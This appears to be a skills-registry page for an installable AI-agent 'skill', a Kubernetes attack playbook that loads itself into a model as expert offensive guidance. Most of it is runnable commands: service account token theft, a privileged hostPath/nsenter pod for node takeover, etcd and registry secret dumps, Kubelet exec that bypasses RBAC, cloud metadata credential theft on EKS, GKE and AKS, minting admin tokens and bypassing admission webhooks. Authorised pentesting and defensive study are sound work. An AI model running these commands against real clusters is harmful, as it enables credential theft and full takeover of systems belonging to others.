kubernetes-pentesting

仓库: yaklang/hack-skills
安装量: 524
排名: #6708

安装

npx skills add https://github.com/yaklang/hack-skills --skill kubernetes-pentesting
SKILL: Kubernetes Pentesting — Expert Attack Playbook
AI LOAD INSTRUCTION
Expert Kubernetes attack techniques. Covers API server access, RBAC escalation, service account token abuse, etcd secrets extraction, Kubelet API exploitation, cloud IMDS access (EKS/GKE/AKS), admission webhook bypass, and network policy evasion. Base models miss the distinction between namespace-scoped and cluster-scoped RBAC, and overlook Kubelet's unauthenticated API. 0. RELATED ROUTING Before going deep, consider loading: container-escape-techniques for escaping from a compromised pod to the underlying node linux-privilege-escalation once on a node for escalating to root linux-lateral-movement for pivoting between nodes linux-security-bypass when Pod Security Standards or seccomp profiles restrict your actions ssrf-server-side-request-forgery when exploiting SSRF to reach the K8s API or cloud metadata 1. K8S API SERVER ACCESS 1.1 Anonymous Access Check

Check if anonymous auth is enabled (default: limited in modern clusters)

curl -sk https://APISERVER:6443/api/v1/namespaces curl -sk https://APISERVER:6443/version curl -sk https://APISERVER:6443/api curl -sk https://APISERVER:6443/apis

Common API server ports:

6443 — secure API (default)

8443 — alternative secure

8080 — insecure API (legacy, no auth needed)

1.2 Token-Based Authentication (from inside pod) TOKEN = $( cat /var/run/secrets/kubernetes.io/serviceaccount/token ) CACERT = /var/run/secrets/kubernetes.io/serviceaccount/ca.crt NAMESPACE = $( cat /var/run/secrets/kubernetes.io/serviceaccount/namespace ) APISERVER = "https://kubernetes.default.svc" curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN " \ $APISERVER /api/v1/namespaces/ $NAMESPACE /pods 1.3 Certificate / Kubeconfig Authentication

Common kubeconfig locations: ~/.kube/config, /etc/kubernetes/admin.conf,

/etc/kubernetes/kubelet.conf, /var/lib/kubelet/kubeconfig

kubectl --kubeconfig = /etc/kubernetes/admin.conf get pods --all-namespaces 2. RBAC ENUMERATION 2.1 Self-Permission Check

What can I do?

kubectl auth can-i --list kubectl auth can-i --list -n kube-system

Specific checks

kubectl auth can-i create pods kubectl auth can-i create pods -n kube-system kubectl auth can-i get secrets kubectl auth can-i '' ''

Full cluster admin?

Via API (from inside pod):

curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN " \ $APISERVER /apis/authorization.k8s.io/v1/selfsubjectrulesreviews \ -H "Content-Type: application/json" \ -d "{ \" apiVersion \" : \" authorization.k8s.io/v1 \" , \" kind \" : \" SelfSubjectRulesReview \" , \" spec \" :{ \" namespace \" : \" $NAMESPACE \" }}" 2.2 Role and ClusterRole Enumeration kubectl get roles --all-namespaces && kubectl get clusterroles kubectl describe clusterrole CLUSTER_ROLE_NAME

Find overprivileged roles (wildcard verbs/resources):

kubectl get clusterroles -o json | python3 -c 'import sys,json;data=json.load(sys.stdin);[print(f"OVERPRIVILEGED: {r[\"metadata\"][\"name\"]}") for r in data["items"] for rule in r.get("rules",[]) if "" in rule.get("verbs",[]) or "" in rule.get("resources",[])]' 2.3 Dangerous RBAC Permissions Permission Risk Escalation Path pods/exec Critical Exec into any pod (access secrets, tokens) pods (create) Critical Create privileged pod → node access secrets (get/list) Critical Read all secrets including SA tokens serviceaccounts/token (create) Critical Generate token for any SA nodes/proxy High Proxy to Kubelet API escalate on roles Critical Grant yourself any permission bind on rolebindings Critical Bind any role to yourself impersonate Critical Impersonate any user/SA 3. SERVICE ACCOUNT TOKEN ABUSE 3.1 Token Location and Decoding

Default mount point

cat /var/run/secrets/kubernetes.io/serviceaccount/token

Decode JWT (no verification needed)

TOKEN

$( cat /var/run/secrets/kubernetes.io/serviceaccount/token ) echo $TOKEN | cut -d. -f2 | base64 -d 2

/dev/null | python3 -m json.tool

Shows: namespace, service account name, expiry

3.2 Escalation via Service Account

If SA has elevated permissions — dump secrets, create privileged pod:

kubectl get secrets --all-namespaces kubectl apply -f - << 'EOF' apiVersion: v1 kind: Pod metadata: { name: privesc } spec: hostPID: true hostNetwork: true containers: - name: pwn image: alpine command: ["/bin/sh","-c","nsenter -t 1 -m -u -i -n -p -- /bin/bash"] securityContext: { privileged: true } volumeMounts: [{ name: hostfs, mountPath: /host }] volumes: [{ name: hostfs, hostPath: { path: / }}] EOF 3.3 Token Generation

If serviceaccounts/token create permission:

kubectl create token admin-sa -n kube-system --duration = 87600h 4. ETCD DIRECT ACCESS

Check anonymous access (port 2379 on master nodes):

curl -sk https://ETCD_IP:2379/version

With certs from master node (/etc/kubernetes/pki/etcd/):

ETCDCTL_API

3 etcdctl --endpoints = https://ETCD_IP:2379 \ --cacert = ca.crt --cert = server.crt --key = server.key \ get / --prefix --keys-only | grep secrets

Dump specific secret:

ETCDCTL_API

3 etcdctl .. . get /registry/secrets/default/my-secret 5. POD ESCAPE TO NODE See container-escape-techniques for detailed escape chains. Quick reference for K8s-specific vectors: Vector Requirement Command hostPID spec.hostPID: true nsenter -t 1 -m -u -i -n -p -- bash hostNetwork spec.hostNetwork: true Access node services (Kubelet, etcd) hostPath / Volume mount of host root chroot /host bash Privileged container securityContext.privileged: true Mount host disk / nsenter 6. KUBELET API (Port 10250/10255) curl -sk https://NODE_IP:10250/pods

Anonymous access check

10255 = read-only (legacy, HTTP)

Exec into pod via Kubelet (bypasses API server RBAC):

curl -sk https://NODE_IP:10250/run/NAMESPACE/POD_NAME/CONTAINER_NAME -d "cmd=id"

Read logs:

curl -sk https://NODE_IP:10250/containerLogs/NAMESPACE/POD_NAME/CONTAINER_NAME 7. CLOUD-SPECIFIC ATTACKS 7.1 AWS EKS — IMDS Access

From inside a pod (if IMDSv1 or no hop limit enforced):

curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/

Returns IAM role name, then:

curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME

Returns temporary AWS credentials (AccessKeyId, SecretAccessKey, Token)

IMDSv2 (token required):

IMDS_TOKEN

$( curl -s -X PUT "http://169.254.169.254/latest/api/token" \ -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" ) curl -s -H "X-aws-ec2-metadata-token: $IMDS_TOKEN " \ http://169.254.169.254/latest/meta-data/iam/security-credentials/

EKS-specific: IRSA (IAM Roles for Service Accounts)

Token at: /var/run/secrets/eks.amazonaws.com/serviceaccount/token

Env vars: AWS_ROLE_ARN, AWS_WEB_IDENTITY_TOKEN_FILE

7.2 GCP GKE — Metadata API

GCE metadata server

curl -s -H "Metadata-Flavor: Google" \ http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

Returns OAuth2 access token

List available scopes

curl -s -H "Metadata-Flavor: Google" \ http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes

GKE Workload Identity (if configured):

The pod's SA is mapped to a GCP SA

Token automatically available for GCP API calls

7.3 Azure AKS — Managed Identity

Azure IMDS

curl -s -H "Metadata: true" \ "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

Returns Azure access token

AKS Pod Identity / Workload Identity

Check for AZURE_CLIENT_ID, AZURE_TENANT_ID env vars

env | grep AZURE 8. ADMISSION WEBHOOK BYPASS Strategy Command/Method Excluded namespace kubectl get validatingwebhookconfigurations -o yaml | grep namespaceSelector → use excluded NS failurePolicy: Ignore If webhook server down → admission skipped Ephemeral containers kubectl debug POD -it --image=alpine (may not be covered) Static pods Place manifest in /etc/kubernetes/manifests/ on node (bypasses API admission) 9. CONTAINER REGISTRY ACCESS

Extract pull secrets (dockerconfigjson):

kubectl get secrets --all-namespaces -o json | python3 -c 'import sys,json,base64;[print(s["metadata"]["name"],base64.b64decode(s["data"][".dockerconfigjson"]).decode()) for s in json.load(sys.stdin)["items"] if s["type"]=="kubernetes.io/dockerconfigjson"]'

Pull + inspect images for hardcoded secrets:

docker pull REGISTRY/app:latest && docker history REGISTRY/app:latest --no-trunc 10. NETWORK POLICY ENUMERATION & BYPASS kubectl get networkpolicies --all-namespaces

Find namespaces without policies (default allow-all):

for ns in $( kubectl get ns -o name | cut -d/ -f2 ) ; do [ " $( kubectl get netpol -n $ns --no-headers 2

/dev/null | wc -l ) " -eq 0 ] && echo "NO POLICY: $ns " done Bypass strategies: DNS exfiltration (port 53 rarely blocked), allowed port tunneling, pod in unprotected namespace, hostNetwork: true bypasses pod network policies entirely. 11. TOOLS Tool Purpose Command kubectl K8s API interaction kubectl auth can-i --list kube-hunter Automated K8s vulnerability scanning kube-hunter --remote TARGET peirates K8s pentesting from inside a pod ./peirates kubesploit Post-exploitation framework for K8s Agent-based C2 CDK Container/K8s exploitation toolkit ./cdk evaluate kubeletctl Interact with Kubelet API directly kubeletctl pods -s NODE_IP kubeaudit Cluster misconfiguration audit kubeaudit all 12. KUBERNETES PENTESTING DECISION TREE Access to Kubernetes environment? │ ├── Inside a pod? │ ├── Read SA token → check RBAC permissions (§2.1) │ │ ├── Can create pods? → privileged pod escape (§3.2) │ │ ├── Can read secrets? → dump all secrets (§3.2) │ │ ├── Can exec into pods? → pivot to other pods │ │ └── Minimal permissions → try Kubelet API (§6) │ │ │ ├── Cloud environment? │ │ ├── AWS → check IMDS for IAM creds (§7.1) │ │ ├── GCP → check metadata for OAuth token (§7.2) │ │ └── Azure → check IMDS for managed identity (§7.3) │ │ │ └── Escape to node? → load container-escape-techniques │ ├── Access to node? │ ├── kubeconfig found? → full cluster access (§1.3) │ ├── etcd accessible? → dump all secrets (§4) │ ├── Kubelet cert/key? → API server access │ └── Static pod manifests? → create privileged static pod (§8) │ ├── External access only? │ ├── API server exposed? → anonymous/token check (§1) │ ├── Kubelet 10250 exposed? → direct pod exec (§6) │ ├── etcd 2379 exposed? → direct secret dump (§4) │ └── Dashboard/UI exposed? → authentication bypass │ ├── RBAC escalation path? │ ├── escalate/bind permissions? → grant cluster-admin (§2.3) │ ├── impersonate permission? → act as admin (§2.3) │ ├── serviceaccounts/token create? → mint admin token (§3.3) │ └── Overprivileged clusterrole? → abuse wildcards (§2.2) │ └── No direct escalation? ├── Enumerate network policies → find unprotected namespaces (§10) ├── Check admission webhooks → find bypass (§8) ├── Pull registry images → search for secrets (§9) └── Scan nodes for exposed services → Kubelet, etcd

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